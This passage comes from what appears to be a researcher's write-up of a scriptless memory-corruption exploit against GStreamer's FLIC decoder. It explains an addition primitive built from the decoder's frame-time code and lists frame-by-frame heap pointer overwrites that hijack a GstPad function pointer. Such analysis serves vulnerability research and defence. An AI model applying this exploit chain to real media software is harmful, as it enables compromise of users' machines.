<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is my favorite trick used! By far! While the ability to copy pointers around cleanly is very useful, it is rarely going to be sufficient. For example, when building a ROP chain, we’d typically leak a pointer into a code section, such as a function pointer, and then calculate the address of useful opcode sequences based on addition to the leaked pointer. Or, if we want to mess with a GOT entry, it typically isn’t a simple pointer copy, but a read / add / write sequence.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">So how can we get an addition primitive going without script?</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">It turns out that the decoder maintains time from frame to frame, and it does it like this, continuing on from the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gst_flxdec_chain()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> code quoted above:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* save copy of the current frame for possible delta. */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> memcpy (flxdec->delta_data, flxdec->frame_data, flxdec->size);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> gst_buffer_map (out, &map, GST_MAP_WRITE);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> /* convert current frame. */</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> flx_colorspace_convert (flxdec->converter, flxdec->frame_data,</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> map.data);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> gst_buffer_unmap (out, &map);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> GST_BUFFER_TIMESTAMP (out) = flxdec->next_time;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> flxdec->next_time += flxdec->frame_time;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is super cool: we can co-opt that frame time calculation to instead be an addition of a constant of our choosing to a pointer. We just have to copy a pointer into </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->frame_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and write the addition constant to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->next_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. When the next frame starts, a new calculated pointer will be present in </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->next_time</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and we can again use our copy primitive to put it somewhere useful.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The exploit: frame-by-frame</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">With detailed study into primitives available, we’re now in a position to link a bunch of them together to get an exploit going, no script required ;-) We’ll break things down into the actions taken each frame. If things look a little bit busy in the first couple of frames, don’t be surprised. Remember, we have just 2 frames to do something drastic to cause the decoder to continue into further frames.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 1</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Use FLX_LC to do a 3 byte partial pointer overwrite on </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">; point it to offset 0x280e into thread heap arena.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Use FLX_COLOR256 to do a 1 byte partial pointer overwrite on a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gst_list_iterator_resync()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> pointer; point it to a gadget that does “return 0”.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; point </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x2830.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_COLOR256; 3 byte partial pointer overwrite of existing pointer into thread heap arena, make it point to offset 0x24100, which is a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; point </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x2840.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_COLOR256; 3 byte partial pointer overwrite of existing pointer into thread heap arena, make it point to offset 0x24100, which is a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; point </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x2824.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_COLOR256; write 12 bytes of FLIC protocol in between pointers we just corrupted, to form a chunk of input file.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; point </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x2837.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_COLOR256; write 9 bytes of FLIC protocol in between pointers we just corrupted, to form a chunk of input file.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; point </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x3a118. This is actually inside the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object and is guaranteed to be a string of 8 zeros. This is necessary to prevent the converter from being used (and crashing) at end of frame.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; 3 byte partial pointer overwrite to point </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x2818.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; no-op to set </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->size</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to 56, but it is already 56. This is a relic from an earlier version of the exploit.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; point </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x3cb68. This is inside the input file buffer.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Allow frame tick.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Copy primitive is invoked: the last FLX_LC reads 56 bytes at thread heap arena offset 0x2818 into </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->frame_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. And then the frame tick copies those 56 bytes from </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->frame_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->delta_data</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which points to the input buffer. We just copied a chunk of program, with 3 embedded pointer values, to the input buffer.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">Frame 2</span></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_LC; point </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">flxdec->converter</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> to offset 0x240f6, which is just before a </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> object that we want to corrupt. This object controls whether decoding continues or not.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_COLOR256; no-op, just to get the alignment of the input file right.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">FLX_COLOR256; copy a few bits to corrupt the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, including copying the “</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">return 0</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">” function pointer gadget on top of </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">GstPad::chainfunc</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This value is not in the original input file, and only placed there by the input buffer corruption in frame 1 above.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
